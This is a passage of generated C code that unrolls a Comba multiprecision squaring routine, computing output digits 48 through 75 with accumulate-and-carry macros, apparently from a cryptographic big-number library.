SQRADDSC(a[0], a[48]); SQRADDAC(a[1], a[47]); SQRADDAC(a[2], a[46]); SQRADDAC(a[3], a[45]); SQRADDAC(a[4], a[44]); SQRADDAC(a[5], a[43]); SQRADDAC(a[6], a[42]); SQRADDAC(a[7], a[41]); SQRADDAC(a[8], a[40]); SQRADDAC(a[9], a[39]); SQRADDAC(a[10], a[38]); SQRADDAC(a[11], a[37]); SQRADDAC(a[12], a[36]); SQRADDAC(a[13], a[35]); SQRADDAC(a[14], a[34]); SQRADDAC(a[15], a[33]); SQRADDAC(a[16], a[32]); SQRADDAC(a[17], a[31]); SQRADDAC(a[18], a[30]); SQRADDAC(a[19], a[29]); SQRADDAC(a[20], a[28]); SQRADDAC(a[21], a[27]); SQRADDAC(a[22], a[26]); SQRADDAC(a[23], a[25]); SQRADDDB; SQRADD(a[24], a[24]);
COMBA_STORE(b[48]);
/* output 49 */
CARRY_FORWARD;
SQRADDSC(a[0], a[49]); SQRADDAC(a[1], a[48]); SQRADDAC(a[2], a[47]); SQRADDAC(a[3], a[46]); SQRADDAC(a[4], a[45]); SQRADDAC(a[5], a[44]); SQRADDAC(a[6], a[43]); SQRADDAC(a[7], a[42]); SQRADDAC(a[8], a[41]); SQRADDAC(a[9], a[40]); SQRADDAC(a[10], a[39]); SQRADDAC(a[11], a[38]); SQRADDAC(a[12], a[37]); SQRADDAC(a[13], a[36]); SQRADDAC(a[14], a[35]); SQRADDAC(a[15], a[34]); SQRADDAC(a[16], a[33]); SQRADDAC(a[17], a[32]); SQRADDAC(a[18], a[31]); SQRADDAC(a[19], a[30]); SQRADDAC(a[20], a[29]); SQRADDAC(a[21], a[28]); SQRADDAC(a[22], a[27]); SQRADDAC(a[23], a[26]); SQRADDAC(a[24], a[25]); SQRADDDB;
COMBA_STORE(b[49]);
/* output 50 */
CARRY_FORWARD;
SQRADDSC(a[0], a[50]); SQRADDAC(a[1], a[49]); SQRADDAC(a[2], a[48]); SQRADDAC(a[3], a[47]); SQRADDAC(a[4], a[46]); SQRADDAC(a[5], a[45]); SQRADDAC(a[6], a[44]); SQRADDAC(a[7], a[43]); SQRADDAC(a[8], a[42]); SQRADDAC(a[9], a[41]); SQRADDAC(a[10], a[40]); SQRADDAC(a[11], a[39]); SQRADDAC(a[12], a[38]); SQRADDAC(a[13], a[37]); SQRADDAC(a[14], a[36]); SQRADDAC(a[15], a[35]); SQRADDAC(a[16], a[34]); SQRADDAC(a[17], a[33]); SQRADDAC(a[18], a[32]); SQRADDAC(a[19], a[31]); SQRADDAC(a[20], a[30]); SQRADDAC(a[21], a[29]); SQRADDAC(a[22], a[28]); SQRADDAC(a[23], a[27]); SQRADDAC(a[24], a[26]); SQRADDDB; SQRADD(a[25], a[25]);
COMBA_STORE(b[50]);
/* output 51 */
CARRY_FORWARD;
SQRADDSC(a[0], a[51]); SQRADDAC(a[1], a[50]); SQRADDAC(a[2], a[49]); SQRADDAC(a[3], a[48]); SQRADDAC(a[4], a[47]); SQRADDAC(a[5], a[46]); SQRADDAC(a[6], a[45]); SQRADDAC(a[7], a[44]); SQRADDAC(a[8], a[43]); SQRADDAC(a[9], a[42]); SQRADDAC(a[10], a[41]); SQRADDAC(a[11], a[40]); SQRADDAC(a[12], a[39]); SQRADDAC(a[13], a[38]); SQRADDAC(a[14], a[37]); SQRADDAC(a[15], a[36]); SQRADDAC(a[16], a[35]); SQRADDAC(a[17], a[34]); SQRADDAC(a[18], a[33]); SQRADDAC(a[19], a[32]); SQRADDAC(a[20], a[31]); SQRADDAC(a[21], a[30]); SQRADDAC(a[22], a[29]); SQRADDAC(a[23], a[28]); SQRADDAC(a[24], a[27]); SQRADDAC(a[25], a[26]); SQRADDDB;
COMBA_STORE(b[51]);
/* output 52 */
CARRY_FORWARD;
SQRADDSC(a[0], a[52]); SQRADDAC(a[1], a[51]); SQRADDAC(a[2], a[50]); SQRADDAC(a[3], a[49]); SQRADDAC(a[4], a[48]); SQRADDAC(a[5], a[47]); SQRADDAC(a[6], a[46]); SQRADDAC(a[7], a[45]); SQRADDAC(a[8], a[44]); SQRADDAC(a[9], a[43]); SQRADDAC(a[10], a[42]); SQRADDAC(a[11], a[41]); SQRADDAC(a[12], a[40]); SQRADDAC(a[13], a[39]); SQRADDAC(a[14], a[38]); SQRADDAC(a[15], a[37]); SQRADDAC(a[16], a[36]); SQRADDAC(a[17], a[35]); SQRADDAC(a[18], a[34]); SQRADDAC(a[19], a[33]); SQRADDAC(a[20], a[32]); SQRADDAC(a[21], a[31]); SQRADDAC(a[22], a[30]); SQRADDAC(a[23], a[29]); SQRADDAC(a[24], a[28]); SQRADDAC(a[25], a[27]); SQRADDDB; SQRADD(a[26], a[26]);
COMBA_STORE(b[52]);
/* output 53 */
CARRY_FORWARD;
SQRADDSC(a[0], a[53]); SQRADDAC(a[1], a[52]); SQRADDAC(a[2], a[51]); SQRADDAC(a[3], a[50]); SQRADDAC(a[4], a[49]); SQRADDAC(a[5], a[48]); SQRADDAC(a[6], a[47]); SQRADDAC(a[7], a[46]); SQRADDAC(a[8], a[45]); SQRADDAC(a[9], a[44]); SQRADDAC(a[10], a[43]); SQRADDAC(a[11], a[42]); SQRADDAC(a[12], a[41]); SQRADDAC(a[13], a[40]); SQRADDAC(a[14], a[39]); SQRADDAC(a[15], a[38]); SQRADDAC(a[16], a[37]); SQRADDAC(a[17], a[36]); SQRADDAC(a[18], a[35]); SQRADDAC(a[19], a[34]); SQRADDAC(a[20], a[33]); SQRADDAC(a[21], a[32]); SQRADDAC(a[22], a[31]); SQRADDAC(a[23], a[30]); SQRADDAC(a[24], a[29]); SQRADDAC(a[25], a[28]); SQRADDAC(a[26], a[27]); SQRADDDB;
COMBA_STORE(b[53]);
/* output 54 */
CARRY_FORWARD;
SQRADDSC(a[0], a[54]); SQRADDAC(a[1], a[53]); SQRADDAC(a[2], a[52]); SQRADDAC(a[3], a[51]); SQRADDAC(a[4], a[50]); SQRADDAC(a[5], a[49]); SQRADDAC(a[6], a[48]); SQRADDAC(a[7], a[47]); SQRADDAC(a[8], a[46]); SQRADDAC(a[9], a[45]); SQRADDAC(a[10], a[44]); SQRADDAC(a[11], a[43]); SQRADDAC(a[12], a[42]); SQRADDAC(a[13], a[41]); SQRADDAC(a[14], a[40]); SQRADDAC(a[15], a[39]); SQRADDAC(a[16], a[38]); SQRADDAC(a[17], a[37]); SQRADDAC(a[18], a[36]); SQRADDAC(a[19], a[35]); SQRADDAC(a[20], a[34]); SQRADDAC(a[21], a[33]); SQRADDAC(a[22], a[32]); SQRADDAC(a[23], a[31]); SQRADDAC(a[24], a[30]); SQRADDAC(a[25], a[29]); SQRADDAC(a[26], a[28]); SQRADDDB; SQRADD(a[27], a[27]);
COMBA_STORE(b[54]);
/* output 55 */
CARRY_FORWARD;
SQRADDSC(a[0], a[55]); SQRADDAC(a[1], a[54]); SQRADDAC(a[2], a[53]); SQRADDAC(a[3], a[52]); SQRADDAC(a[4], a[51]); SQRADDAC(a[5], a[50]); SQRADDAC(a[6], a[49]); SQRADDAC(a[7], a[48]); SQRADDAC(a[8], a[47]); SQRADDAC(a[9], a[46]); SQRADDAC(a[10], a[45]); SQRADDAC(a[11], a[44]); SQRADDAC(a[12], a[43]); SQRADDAC(a[13], a[42]); SQRADDAC(a[14], a[41]); SQRADDAC(a[15], a[40]); SQRADDAC(a[16], a[39]); SQRADDAC(a[17], a[38]); SQRADDAC(a[18], a[37]); SQRADDAC(a[19], a[36]); SQRADDAC(a[20], a[35]); SQRADDAC(a[21], a[34]); SQRADDAC(a[22], a[33]); SQRADDAC(a[23], a[32]); SQRADDAC(a[24], a[31]); SQRADDAC(a[25], a[30]); SQRADDAC(a[26], a[29]); SQRADDAC(a[27], a[28]); SQRADDDB;
COMBA_STORE(b[55]);
/* output 56 */
CARRY_FORWARD;
SQRADDSC(a[0], a[56]); SQRADDAC(a[1], a[55]); SQRADDAC(a[2], a[54]); SQRADDAC(a[3], a[53]); SQRADDAC(a[4], a[52]); SQRADDAC(a[5], a[51]); SQRADDAC(a[6], a[50]); SQRADDAC(a[7], a[49]); SQRADDAC(a[8], a[48]); SQRADDAC(a[9], a[47]); SQRADDAC(a[10], a[46]); SQRADDAC(a[11], a[45]); SQRADDAC(a[12], a[44]); SQRADDAC(a[13], a[43]); SQRADDAC(a[14], a[42]); SQRADDAC(a[15], a[41]); SQRADDAC(a[16], a[40]); SQRADDAC(a[17], a[39]); SQRADDAC(a[18], a[38]); SQRADDAC(a[19], a[37]); SQRADDAC(a[20], a[36]); SQRADDAC(a[21], a[35]); SQRADDAC(a[22], a[34]); SQRADDAC(a[23], a[33]); SQRADDAC(a[24], a[32]); SQRADDAC(a[25], a[31]); SQRADDAC(a[26], a[30]); SQRADDAC(a[27], a[29]); SQRADDDB; SQRADD(a[28], a[28]);
COMBA_STORE(b[56]);
/* output 57 */
CARRY_FORWARD;
SQRADDSC(a[0], a[57]); SQRADDAC(a[1], a[56]); SQRADDAC(a[2], a[55]); SQRADDAC(a[3], a[54]); SQRADDAC(a[4], a[53]); SQRADDAC(a[5], a[52]); SQRADDAC(a[6], a[51]); SQRADDAC(a[7], a[50]); SQRADDAC(a[8], a[49]); SQRADDAC(a[9], a[48]); SQRADDAC(a[10], a[47]); SQRADDAC(a[11], a[46]); SQRADDAC(a[12], a[45]); SQRADDAC(a[13], a[44]); SQRADDAC(a[14], a[43]); SQRADDAC(a[15], a[42]); SQRADDAC(a[16], a[41]); SQRADDAC(a[17], a[40]); SQRADDAC(a[18], a[39]); SQRADDAC(a[19], a[38]); SQRADDAC(a[20], a[37]); SQRADDAC(a[21], a[36]); SQRADDAC(a[22], a[35]); SQRADDAC(a[23], a[34]); SQRADDAC(a[24], a[33]); SQRADDAC(a[25], a[32]); SQRADDAC(a[26], a[31]); SQRADDAC(a[27], a[30]); SQRADDAC(a[28], a[29]); SQRADDDB;
COMBA_STORE(b[57]);
/* output 58 */
CARRY_FORWARD;
SQRADDSC(a[0], a[58]); SQRADDAC(a[1], a[57]); SQRADDAC(a[2], a[56]); SQRADDAC(a[3], a[55]); SQRADDAC(a[4], a[54]); SQRADDAC(a[5], a[53]); SQRADDAC(a[6], a[52]); SQRADDAC(a[7], a[51]); SQRADDAC(a[8], a[50]); SQRADDAC(a[9], a[49]); SQRADDAC(a[10], a[48]); SQRADDAC(a[11], a[47]); SQRADDAC(a[12], a[46]); SQRADDAC(a[13], a[45]); SQRADDAC(a[14], a[44]); SQRADDAC(a[15], a[43]); SQRADDAC(a[16], a[42]); SQRADDAC(a[17], a[41]); SQRADDAC(a[18], a[40]); SQRADDAC(a[19], a[39]); SQRADDAC(a[20], a[38]); SQRADDAC(a[21], a[37]); SQRADDAC(a[22], a[36]); SQRADDAC(a[23], a[35]); SQRADDAC(a[24], a[34]); SQRADDAC(a[25], a[33]); SQRADDAC(a[26], a[32]); SQRADDAC(a[27], a[31]); SQRADDAC(a[28], a[30]); SQRADDDB; SQRADD(a[29], a[29]);
COMBA_STORE(b[58]);
/* output 59 */
CARRY_FORWARD;
SQRADDSC(a[0], a[59]); SQRADDAC(a[1], a[58]); SQRADDAC(a[2], a[57]); SQRADDAC(a[3], a[56]); SQRADDAC(a[4], a[55]); SQRADDAC(a[5], a[54]); SQRADDAC(a[6], a[53]); SQRADDAC(a[7], a[52]); SQRADDAC(a[8], a[51]); SQRADDAC(a[9], a[50]); SQRADDAC(a[10], a[49]); SQRADDAC(a[11], a[48]); SQRADDAC(a[12], a[47]); SQRADDAC(a[13], a[46]); SQRADDAC(a[14], a[45]); SQRADDAC(a[15], a[44]); SQRADDAC(a[16], a[43]); SQRADDAC(a[17], a[42]); SQRADDAC(a[18], a[41]); SQRADDAC(a[19], a[40]); SQRADDAC(a[20], a[39]); SQRADDAC(a[21], a[38]); SQRADDAC(a[22], a[37]); SQRADDAC(a[23], a[36]); SQRADDAC(a[24], a[35]); SQRADDAC(a[25], a[34]); SQRADDAC(a[26], a[33]); SQRADDAC(a[27], a[32]); SQRADDAC(a[28], a[31]); SQRADDAC(a[29], a[30]); SQRADDDB;
COMBA_STORE(b[59]);
/* output 60 */
CARRY_FORWARD;
SQRADDSC(a[0], a[60]); SQRADDAC(a[1], a[59]); SQRADDAC(a[2], a[58]); SQRADDAC(a[3], a[57]); SQRADDAC(a[4], a[56]); SQRADDAC(a[5], a[55]); SQRADDAC(a[6], a[54]); SQRADDAC(a[7], a[53]); SQRADDAC(a[8], a[52]); SQRADDAC(a[9], a[51]); SQRADDAC(a[10], a[50]); SQRADDAC(a[11], a[49]); SQRADDAC(a[12], a[48]); SQRADDAC(a[13], a[47]); SQRADDAC(a[14], a[46]); SQRADDAC(a[15], a[45]); SQRADDAC(a[16], a[44]); SQRADDAC(a[17], a[43]); SQRADDAC(a[18], a[42]); SQRADDAC(a[19], a[41]); SQRADDAC(a[20], a[40]); SQRADDAC(a[21], a[39]); SQRADDAC(a[22], a[38]); SQRADDAC(a[23], a[37]); SQRADDAC(a[24], a[36]); SQRADDAC(a[25], a[35]); SQRADDAC(a[26], a[34]); SQRADDAC(a[27], a[33]); SQRADDAC(a[28], a[32]); SQRADDAC(a[29], a[31]); SQRADDDB; SQRADD(a[30], a[30]);
COMBA_STORE(b[60]);
/* output 61 */
CARRY_FORWARD;
SQRADDSC(a[0], a[61]); SQRADDAC(a[1], a[60]); SQRADDAC(a[2], a[59]); SQRADDAC(a[3], a[58]); SQRADDAC(a[4], a[57]); SQRADDAC(a[5], a[56]); SQRADDAC(a[6], a[55]); SQRADDAC(a[7], a[54]); SQRADDAC(a[8], a[53]); SQRADDAC(a[9], a[52]); SQRADDAC(a[10], a[51]); SQRADDAC(a[11], a[50]); SQRADDAC(a[12], a[49]); SQRADDAC(a[13], a[48]); SQRADDAC(a[14], a[47]); SQRADDAC(a[15], a[46]); SQRADDAC(a[16], a[45]); SQRADDAC(a[17], a[44]); SQRADDAC(a[18], a[43]); SQRADDAC(a[19], a[42]); SQRADDAC(a[20], a[41]); SQRADDAC(a[21], a[40]); SQRADDAC(a[22], a[39]); SQRADDAC(a[23], a[38]); SQRADDAC(a[24], a[37]); SQRADDAC(a[25], a[36]); SQRADDAC(a[26], a[35]); SQRADDAC(a[27], a[34]); SQRADDAC(a[28], a[33]); SQRADDAC(a[29], a[32]); SQRADDAC(a[30], a[31]); SQRADDDB;
COMBA_STORE(b[61]);
/* output 62 */
CARRY_FORWARD;
SQRADDSC(a[0], a[62]); SQRADDAC(a[1], a[61]); SQRADDAC(a[2], a[60]); SQRADDAC(a[3], a[59]); SQRADDAC(a[4], a[58]); SQRADDAC(a[5], a[57]); SQRADDAC(a[6], a[56]); SQRADDAC(a[7], a[55]); SQRADDAC(a[8], a[54]); SQRADDAC(a[9], a[53]); SQRADDAC(a[10], a[52]); SQRADDAC(a[11], a[51]); SQRADDAC(a[12], a[50]); SQRADDAC(a[13], a[49]); SQRADDAC(a[14], a[48]); SQRADDAC(a[15], a[47]); SQRADDAC(a[16], a[46]); SQRADDAC(a[17], a[45]); SQRADDAC(a[18], a[44]); SQRADDAC(a[19], a[43]); SQRADDAC(a[20], a[42]); SQRADDAC(a[21], a[41]); SQRADDAC(a[22], a[40]); SQRADDAC(a[23], a[39]); SQRADDAC(a[24], a[38]); SQRADDAC(a[25], a[37]); SQRADDAC(a[26], a[36]); SQRADDAC(a[27], a[35]); SQRADDAC(a[28], a[34]); SQRADDAC(a[29], a[33]); SQRADDAC(a[30], a[32]); SQRADDDB; SQRADD(a[31], a[31]);
COMBA_STORE(b[62]);
/* output 63 */
CARRY_FORWARD;
SQRADDSC(a[0], a[63]); SQRADDAC(a[1], a[62]); SQRADDAC(a[2], a[61]); SQRADDAC(a[3], a[60]); SQRADDAC(a[4], a[59]); SQRADDAC(a[5], a[58]); SQRADDAC(a[6], a[57]); SQRADDAC(a[7], a[56]); SQRADDAC(a[8], a[55]); SQRADDAC(a[9], a[54]); SQRADDAC(a[10], a[53]); SQRADDAC(a[11], a[52]); SQRADDAC(a[12], a[51]); SQRADDAC(a[13], a[50]); SQRADDAC(a[14], a[49]); SQRADDAC(a[15], a[48]); SQRADDAC(a[16], a[47]); SQRADDAC(a[17], a[46]); SQRADDAC(a[18], a[45]); SQRADDAC(a[19], a[44]); SQRADDAC(a[20], a[43]); SQRADDAC(a[21], a[42]); SQRADDAC(a[22], a[41]); SQRADDAC(a[23], a[40]); SQRADDAC(a[24], a[39]); SQRADDAC(a[25], a[38]); SQRADDAC(a[26], a[37]); SQRADDAC(a[27], a[36]); SQRADDAC(a[28], a[35]); SQRADDAC(a[29], a[34]); SQRADDAC(a[30], a[33]); SQRADDAC(a[31], a[32]); SQRADDDB;
COMBA_STORE(b[63]);
/* output 64 */
CARRY_FORWARD;
SQRADDSC(a[1], a[63]); SQRADDAC(a[2], a[62]); SQRADDAC(a[3], a[61]); SQRADDAC(a[4], a[60]); SQRADDAC(a[5], a[59]); SQRADDAC(a[6], a[58]); SQRADDAC(a[7], a[57]); SQRADDAC(a[8], a[56]); SQRADDAC(a[9], a[55]); SQRADDAC(a[10], a[54]); SQRADDAC(a[11], a[53]); SQRADDAC(a[12], a[52]); SQRADDAC(a[13], a[51]); SQRADDAC(a[14], a[50]); SQRADDAC(a[15], a[49]); SQRADDAC(a[16], a[48]); SQRADDAC(a[17], a[47]); SQRADDAC(a[18], a[46]); SQRADDAC(a[19], a[45]); SQRADDAC(a[20], a[44]); SQRADDAC(a[21], a[43]); SQRADDAC(a[22], a[42]); SQRADDAC(a[23], a[41]); SQRADDAC(a[24], a[40]); SQRADDAC(a[25], a[39]); SQRADDAC(a[26], a[38]); SQRADDAC(a[27], a[37]); SQRADDAC(a[28], a[36]); SQRADDAC(a[29], a[35]); SQRADDAC(a[30], a[34]); SQRADDAC(a[31], a[33]); SQRADDDB; SQRADD(a[32], a[32]);
COMBA_STORE(b[64]);
/* output 65 */
CARRY_FORWARD;
SQRADDSC(a[2], a[63]); SQRADDAC(a[3], a[62]); SQRADDAC(a[4], a[61]); SQRADDAC(a[5], a[60]); SQRADDAC(a[6], a[59]); SQRADDAC(a[7], a[58]); SQRADDAC(a[8], a[57]); SQRADDAC(a[9], a[56]); SQRADDAC(a[10], a[55]); SQRADDAC(a[11], a[54]); SQRADDAC(a[12], a[53]); SQRADDAC(a[13], a[52]); SQRADDAC(a[14], a[51]); SQRADDAC(a[15], a[50]); SQRADDAC(a[16], a[49]); SQRADDAC(a[17], a[48]); SQRADDAC(a[18], a[47]); SQRADDAC(a[19], a[46]); SQRADDAC(a[20], a[45]); SQRADDAC(a[21], a[44]); SQRADDAC(a[22], a[43]); SQRADDAC(a[23], a[42]); SQRADDAC(a[24], a[41]); SQRADDAC(a[25], a[40]); SQRADDAC(a[26], a[39]); SQRADDAC(a[27], a[38]); SQRADDAC(a[28], a[37]); SQRADDAC(a[29], a[36]); SQRADDAC(a[30], a[35]); SQRADDAC(a[31], a[34]); SQRADDAC(a[32], a[33]); SQRADDDB;
COMBA_STORE(b[65]);
/* output 66 */
CARRY_FORWARD;
SQRADDSC(a[3], a[63]); SQRADDAC(a[4], a[62]); SQRADDAC(a[5], a[61]); SQRADDAC(a[6], a[60]); SQRADDAC(a[7], a[59]); SQRADDAC(a[8], a[58]); SQRADDAC(a[9], a[57]); SQRADDAC(a[10], a[56]); SQRADDAC(a[11], a[55]); SQRADDAC(a[12], a[54]); SQRADDAC(a[13], a[53]); SQRADDAC(a[14], a[52]); SQRADDAC(a[15], a[51]); SQRADDAC(a[16], a[50]); SQRADDAC(a[17], a[49]); SQRADDAC(a[18], a[48]); SQRADDAC(a[19], a[47]); SQRADDAC(a[20], a[46]); SQRADDAC(a[21], a[45]); SQRADDAC(a[22], a[44]); SQRADDAC(a[23], a[43]); SQRADDAC(a[24], a[42]); SQRADDAC(a[25], a[41]); SQRADDAC(a[26], a[40]); SQRADDAC(a[27], a[39]); SQRADDAC(a[28], a[38]); SQRADDAC(a[29], a[37]); SQRADDAC(a[30], a[36]); SQRADDAC(a[31], a[35]); SQRADDAC(a[32], a[34]); SQRADDDB; SQRADD(a[33], a[33]);
COMBA_STORE(b[66]);
/* output 67 */
CARRY_FORWARD;
SQRADDSC(a[4], a[63]); SQRADDAC(a[5], a[62]); SQRADDAC(a[6], a[61]); SQRADDAC(a[7], a[60]); SQRADDAC(a[8], a[59]); SQRADDAC(a[9], a[58]); SQRADDAC(a[10], a[57]); SQRADDAC(a[11], a[56]); SQRADDAC(a[12], a[55]); SQRADDAC(a[13], a[54]); SQRADDAC(a[14], a[53]); SQRADDAC(a[15], a[52]); SQRADDAC(a[16], a[51]); SQRADDAC(a[17], a[50]); SQRADDAC(a[18], a[49]); SQRADDAC(a[19], a[48]); SQRADDAC(a[20], a[47]); SQRADDAC(a[21], a[46]); SQRADDAC(a[22], a[45]); SQRADDAC(a[23], a[44]); SQRADDAC(a[24], a[43]); SQRADDAC(a[25], a[42]); SQRADDAC(a[26], a[41]); SQRADDAC(a[27], a[40]); SQRADDAC(a[28], a[39]); SQRADDAC(a[29], a[38]); SQRADDAC(a[30], a[37]); SQRADDAC(a[31], a[36]); SQRADDAC(a[32], a[35]); SQRADDAC(a[33], a[34]); SQRADDDB;
COMBA_STORE(b[67]);
/* output 68 */
CARRY_FORWARD;
SQRADDSC(a[5], a[63]); SQRADDAC(a[6], a[62]); SQRADDAC(a[7], a[61]); SQRADDAC(a[8], a[60]); SQRADDAC(a[9], a[59]); SQRADDAC(a[10], a[58]); SQRADDAC(a[11], a[57]); SQRADDAC(a[12], a[56]); SQRADDAC(a[13], a[55]); SQRADDAC(a[14], a[54]); SQRADDAC(a[15], a[53]); SQRADDAC(a[16], a[52]); SQRADDAC(a[17], a[51]); SQRADDAC(a[18], a[50]); SQRADDAC(a[19], a[49]); SQRADDAC(a[20], a[48]); SQRADDAC(a[21], a[47]); SQRADDAC(a[22], a[46]); SQRADDAC(a[23], a[45]); SQRADDAC(a[24], a[44]); SQRADDAC(a[25], a[43]); SQRADDAC(a[26], a[42]); SQRADDAC(a[27], a[41]); SQRADDAC(a[28], a[40]); SQRADDAC(a[29], a[39]); SQRADDAC(a[30], a[38]); SQRADDAC(a[31], a[37]); SQRADDAC(a[32], a[36]); SQRADDAC(a[33], a[35]); SQRADDDB; SQRADD(a[34], a[34]);
COMBA_STORE(b[68]);
/* output 69 */
CARRY_FORWARD;
SQRADDSC(a[6], a[63]); SQRADDAC(a[7], a[62]); SQRADDAC(a[8], a[61]); SQRADDAC(a[9], a[60]); SQRADDAC(a[10], a[59]); SQRADDAC(a[11], a[58]); SQRADDAC(a[12], a[57]); SQRADDAC(a[13], a[56]); SQRADDAC(a[14], a[55]); SQRADDAC(a[15], a[54]); SQRADDAC(a[16], a[53]); SQRADDAC(a[17], a[52]); SQRADDAC(a[18], a[51]); SQRADDAC(a[19], a[50]); SQRADDAC(a[20], a[49]); SQRADDAC(a[21], a[48]); SQRADDAC(a[22], a[47]); SQRADDAC(a[23], a[46]); SQRADDAC(a[24], a[45]); SQRADDAC(a[25], a[44]); SQRADDAC(a[26], a[43]); SQRADDAC(a[27], a[42]); SQRADDAC(a[28], a[41]); SQRADDAC(a[29], a[40]); SQRADDAC(a[30], a[39]); SQRADDAC(a[31], a[38]); SQRADDAC(a[32], a[37]); SQRADDAC(a[33], a[36]); SQRADDAC(a[34], a[35]); SQRADDDB;
COMBA_STORE(b[69]);
/* output 70 */
CARRY_FORWARD;
SQRADDSC(a[7], a[63]); SQRADDAC(a[8], a[62]); SQRADDAC(a[9], a[61]); SQRADDAC(a[10], a[60]); SQRADDAC(a[11], a[59]); SQRADDAC(a[12], a[58]); SQRADDAC(a[13], a[57]); SQRADDAC(a[14], a[56]); SQRADDAC(a[15], a[55]); SQRADDAC(a[16], a[54]); SQRADDAC(a[17], a[53]); SQRADDAC(a[18], a[52]); SQRADDAC(a[19], a[51]); SQRADDAC(a[20], a[50]); SQRADDAC(a[21], a[49]); SQRADDAC(a[22], a[48]); SQRADDAC(a[23], a[47]); SQRADDAC(a[24], a[46]); SQRADDAC(a[25], a[45]); SQRADDAC(a[26], a[44]); SQRADDAC(a[27], a[43]); SQRADDAC(a[28], a[42]); SQRADDAC(a[29], a[41]); SQRADDAC(a[30], a[40]); SQRADDAC(a[31], a[39]); SQRADDAC(a[32], a[38]); SQRADDAC(a[33], a[37]); SQRADDAC(a[34], a[36]); SQRADDDB; SQRADD(a[35], a[35]);
COMBA_STORE(b[70]);
/* output 71 */
CARRY_FORWARD;
SQRADDSC(a[8], a[63]); SQRADDAC(a[9], a[62]); SQRADDAC(a[10], a[61]); SQRADDAC(a[11], a[60]); SQRADDAC(a[12], a[59]); SQRADDAC(a[13], a[58]); SQRADDAC(a[14], a[57]); SQRADDAC(a[15], a[56]); SQRADDAC(a[16], a[55]); SQRADDAC(a[17], a[54]); SQRADDAC(a[18], a[53]); SQRADDAC(a[19], a[52]); SQRADDAC(a[20], a[51]); SQRADDAC(a[21], a[50]); SQRADDAC(a[22], a[49]); SQRADDAC(a[23], a[48]); SQRADDAC(a[24], a[47]); SQRADDAC(a[25], a[46]); SQRADDAC(a[26], a[45]); SQRADDAC(a[27], a[44]); SQRADDAC(a[28], a[43]); SQRADDAC(a[29], a[42]); SQRADDAC(a[30], a[41]); SQRADDAC(a[31], a[40]); SQRADDAC(a[32], a[39]); SQRADDAC(a[33], a[38]); SQRADDAC(a[34], a[37]); SQRADDAC(a[35], a[36]); SQRADDDB;
COMBA_STORE(b[71]);
/* output 72 */
CARRY_FORWARD;
SQRADDSC(a[9], a[63]); SQRADDAC(a[10], a[62]); SQRADDAC(a[11], a[61]); SQRADDAC(a[12], a[60]); SQRADDAC(a[13], a[59]); SQRADDAC(a[14], a[58]); SQRADDAC(a[15], a[57]); SQRADDAC(a[16], a[56]); SQRADDAC(a[17], a[55]); SQRADDAC(a[18], a[54]); SQRADDAC(a[19], a[53]); SQRADDAC(a[20], a[52]); SQRADDAC(a[21], a[51]); SQRADDAC(a[22], a[50]); SQRADDAC(a[23], a[49]); SQRADDAC(a[24], a[48]); SQRADDAC(a[25], a[47]); SQRADDAC(a[26], a[46]); SQRADDAC(a[27], a[45]); SQRADDAC(a[28], a[44]); SQRADDAC(a[29], a[43]); SQRADDAC(a[30], a[42]); SQRADDAC(a[31], a[41]); SQRADDAC(a[32], a[40]); SQRADDAC(a[33], a[39]); SQRADDAC(a[34], a[38]); SQRADDAC(a[35], a[37]); SQRADDDB; SQRADD(a[36], a[36]);
COMBA_STORE(b[72]);
/* output 73 */
CARRY_FORWARD;
SQRADDSC(a[10], a[63]); SQRADDAC(a[11], a[62]); SQRADDAC(a[12], a[61]); SQRADDAC(a[13], a[60]); SQRADDAC(a[14], a[59]); SQRADDAC(a[15], a[58]); SQRADDAC(a[16], a[57]); SQRADDAC(a[17], a[56]); SQRADDAC(a[18], a[55]); SQRADDAC(a[19], a[54]); SQRADDAC(a[20], a[53]); SQRADDAC(a[21], a[52]); SQRADDAC(a[22], a[51]); SQRADDAC(a[23], a[50]); SQRADDAC(a[24], a[49]); SQRADDAC(a[25], a[48]); SQRADDAC(a[26], a[47]); SQRADDAC(a[27], a[46]); SQRADDAC(a[28], a[45]); SQRADDAC(a[29], a[44]); SQRADDAC(a[30], a[43]); SQRADDAC(a[31], a[42]); SQRADDAC(a[32], a[41]); SQRADDAC(a[33], a[40]); SQRADDAC(a[34], a[39]); SQRADDAC(a[35], a[38]); SQRADDAC(a[36], a[37]); SQRADDDB;
COMBA_STORE(b[73]);
/* output 74 */
CARRY_FORWARD;
SQRADDSC(a[11], a[63]); SQRADDAC(a[12], a[62]); SQRADDAC(a[13], a[61]); SQRADDAC(a[14], a[60]); SQRADDAC(a[15], a[59]); SQRADDAC(a[16], a[58]); SQRADDAC(a[17], a[57]); SQRADDAC(a[18], a[56]); SQRADDAC(a[19], a[55]); SQRADDAC(a[20], a[54]); SQRADDAC(a[21], a[53]); SQRADDAC(a[22], a[52]); SQRADDAC(a[23], a[51]); SQRADDAC(a[24], a[50]); SQRADDAC(a[25], a[49]); SQRADDAC(a[26], a[48]); SQRADDAC(a[27], a[47]); SQRADDAC(a[28], a[46]); SQRADDAC(a[29], a[45]); SQRADDAC(a[30], a[44]); SQRADDAC(a[31], a[43]); SQRADDAC(a[32], a[42]); SQRADDAC(a[33], a[41]); SQRADDAC(a[34], a[40]); SQRADDAC(a[35], a[39]); SQRADDAC(a[36], a[38]); SQRADDDB; SQRADD(a[37], a[37]);
COMBA_STORE(b[74]);
/* output 75 */
CARRY_FORWARD;
SQRADDSC(a[12], a[63]); SQRADDAC(a[13], a[62]); SQRADDAC(a[14], a[61]); SQRADDAC(a[15], a[60]); SQRADDAC(a[16], a[59]); SQRADDAC(a[17], a[58]); SQRADDAC(a[18], a[57]); SQRADDAC(a[19], a[56]); SQRADDAC(a[20], a[55]); SQRADDAC(a[21], a[54]); SQRADDAC(a[22], a[53]); SQRADDAC(a[23], a[52]); SQRADDAC(a[24], a[51]); SQRADDAC(a[25], a[50]); SQRADDAC(a[26], a[49]); SQRADDAC(a[27], a[48]); SQRADDAC(a[28], a[47]); SQRADDAC(a[29], a[46]); SQRADDAC(a[30], a[45]); SQRADDAC(a[31], a[44]); SQRADDAC(a[32], a[43]); SQRADDAC(a[33], a[42]); SQRADDAC(a[34], a[41]); SQRADDAC(a[35], a[40]); SQRADDAC(a[36], a[39]); SQRADDAC(a[37], a[38]); SQRADDDB;
COMBA_STORE(b[75]);
/* output 76 */
CARRY_FORWARD;
